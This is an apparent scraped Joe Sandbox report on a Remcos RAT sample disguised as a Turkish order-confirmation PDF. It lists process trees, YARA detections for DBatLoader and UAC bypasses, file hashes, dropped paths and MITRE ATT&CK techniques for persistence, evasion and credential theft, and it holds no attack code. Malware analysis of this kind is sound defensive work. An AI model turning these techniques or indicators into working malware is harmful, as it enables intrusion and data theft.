detected UAC Bypass using ComputerDefaults, Source: 00000000.00000002.315970483.0000000003AEC000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000002.317153227.000000007FDD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000002.312930120.0000000003050000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingComputerDefaults, Description: Yara detected UAC Bypass using ComputerDefaults, Source: 00000000.00000002.315787933.0000000003968000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000000.259960102.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low

Analysis Process: logagent.exePID: 6552, Parent PID: 6356

General

Target ID:	3
Start time:	09:42:57
Start date:	26/06/2022
Path:	C:\Windows\SysWOW64\logagent.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\logagent.exe
Imagebase:	0xea0000
File size:	86016 bytes
MD5 hash:	E2036AC444AB4AD91EECC1A80FF7212F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000003.00000002.534117821.0000000010540000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer, Description: detects Windows exceutables potentially bypassing UAC using eventvwr.exe, Source: 00000003.00000002.534117821.0000000010540000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Remcos_1, Description: Remcos Payload, Source: 00000003.00000002.534117821.0000000010540000.00000040.00000400.00020000.00000000.sdmp, Author: kevoreilly Rule: REMCOS_RAT_variants, Description: unknown, Source: 00000003.00000002.534117821.0000000010540000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000003.00000002.533899763.00000000031F0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000003.00000002.532672625.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer, Description: detects Windows exceutables potentially bypassing UAC using eventvwr.exe, Source: 00000003.00000002.532672625.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Author: ditekSHen Rule: Remcos_1, Description: Remcos Payload, Source: 00000003.00000002.532672625.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Author: kevoreilly Rule: REMCOS_RAT_variants, Description: unknown, Source: 00000003.00000002.532672625.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate

Analysis Process: Eluiezilfw.exePID: 6880, Parent PID: 3968

General

Target ID:	8
Start time:	09:43:06
Start date:	26/06/2022
Path:	C:\Users\Public\Libraries\Eluiezilfw.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\Libraries\Eluiezilfw.exe"
Imagebase:	0x400000
File size:	901632 bytes
MD5 hash:	8E60C68E832622B0EBD88A612898A9F9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000008.00000002.344209783.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingComputerDefaults, Description: Yara detected UAC Bypass using ComputerDefaults, Source: 00000008.00000002.348456214.0000000003C4C000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000008.00000002.347399894.0000000003760000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000008.00000002.346405704.00000000031A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000008.00000002.349121751.000000007FD20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000008.00000000.309996740.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingComputerDefaults, Description: Yara detected UAC Bypass using ComputerDefaults, Source: 00000008.00000002.347895283.0000000003AC8000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000008.00000002.349277729.000000007FDD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: C:\Users\Public\Libraries\Eluiezilfw.exe, Author: Joe Security
Antivirus matches:	Detection: 22%, ReversingLabs
Reputation:	low

Analysis Process: Eluiezilfw.exePID: 5628, Parent PID: 3968

General

Target ID:	13
Start time:	09:43:14
Start date:	26/06/2022
Path:	C:\Users\Public\Libraries\Eluiezilfw.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\Libraries\Eluiezilfw.exe"
Imagebase:	0x400000
File size:	901632 bytes
MD5 hash:	8E60C68E832622B0EBD88A612898A9F9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 0000000D.00000002.360030568.00000000031A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 0000000D.00000000.326994994.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 0000000D.00000002.361029837.000000007FDD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 0000000D.00000002.360948526.000000007FD20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 0000000D.00000002.358808877.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingComputerDefaults, Description: Yara detected UAC Bypass using ComputerDefaults, Source: 0000000D.00000002.360606462.0000000003C4C000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 0000000D.00000002.360296603.0000000003760000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingComputerDefaults, Description: Yara detected UAC Bypass using ComputerDefaults, Source: 0000000D.00000002.360448965.0000000003AC8000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Analysis Process: logagent.exePID: 3960, Parent PID: 6880

General

Target ID:	14
Start time:	09:43:14
Start date:	26/06/2022
Path:	C:\Windows\SysWOW64\logagent.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\logagent.exe
Imagebase:	0xea0000
File size:	86016 bytes
MD5 hash:	E2036AC444AB4AD91EECC1A80FF7212F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000E.00000002.344931678.0000000000D80000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000E.00000002.345028532.0000000010540000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer, Description: detects Windows exceutables potentially bypassing UAC using eventvwr.exe, Source: 0000000E.00000002.345028532.0000000010540000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Remcos_1, Description: Remcos Payload, Source: 0000000E.00000002.345028532.0000000010540000.00000040.00000400.00020000.00000000.sdmp, Author: kevoreilly Rule: REMCOS_RAT_variants, Description: unknown, Source: 0000000E.00000002.345028532.0000000010540000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000E.00000002.344444843.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer, Description: detects Windows exceutables potentially bypassing UAC using eventvwr.exe, Source: 0000000E.00000002.344444843.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Author: ditekSHen Rule: Remcos_1, Description: Remcos Payload, Source: 0000000E.00000002.344444843.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Author: kevoreilly Rule: REMCOS_RAT_variants, Description: unknown, Source: 0000000E.00000002.344444843.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate

Analysis Process: DpiScaling.exePID: 5936, Parent PID: 5628

General

Target ID:	15
Start time:	09:43:25
Start date:	26/06/2022
Path:	C:\Windows\SysWOW64\DpiScaling.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\DpiScaling.exe
Imagebase:	0x1040000
File size:	77312 bytes
MD5 hash:	302B1BBDBF4D96BEE99C6B45680CEB5E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000F.00000002.359362662.0000000004C00000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000F.00000002.359461010.0000000010540000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer, Description: detects Windows exceutables potentially bypassing UAC using eventvwr.exe, Source: 0000000F.00000002.359461010.0000000010540000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Remcos_1, Description: Remcos Payload, Source: 0000000F.00000002.359461010.0000000010540000.00000040.00000400.00020000.00000000.sdmp, Author: kevoreilly Rule: REMCOS_RAT_variants, Description: unknown, Source: 0000000F.00000002.359461010.0000000010540000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000F.00000002.359014931.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer, Description: detects Windows exceutables potentially bypassing UAC using eventvwr.exe, Source: 0000000F.00000002.359014931.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Author: ditekSHen Rule: Remcos_1, Description: Remcos Payload, Source: 0000000F.00000002.359014931.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Author: kevoreilly Rule: REMCOS_RAT_variants, Description: unknown, Source: 0000000F.00000002.359014931.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate

Disassembly

⊘No disassembly

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
Tactics:	Credential Access
Data Sources:	File monitoring, Process command-line parameters
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may try to get information about registered services. Commands that may obtain information about services using operating system utilities are "sc," "tasklist /svc" using Tasklist , and "net start" using Net , but adversaries may also use other tools as well. Adversaries may use the information from System Service Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Remcos

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\Public\Libraries\Eluiezilfw.exe

C:\Users\Public\Libraries\Eluiezilfw.exe:Zone.Identifier

C:\Users\Public\Libraries\wflizeiulE.url

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\Eluiezilfwmdrgrdfrqpnwmurrnwnhm[1]

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\Eluiezilfwmdrgrdfrqpnwmurrnwnhm[1]

Static File Info

General

File Icon

Static PE Info

Windows Analysis Report
Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries.
Tactics:	Command and Control
Data Sources:	Network intrusion detection system, Network protocol analysis, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre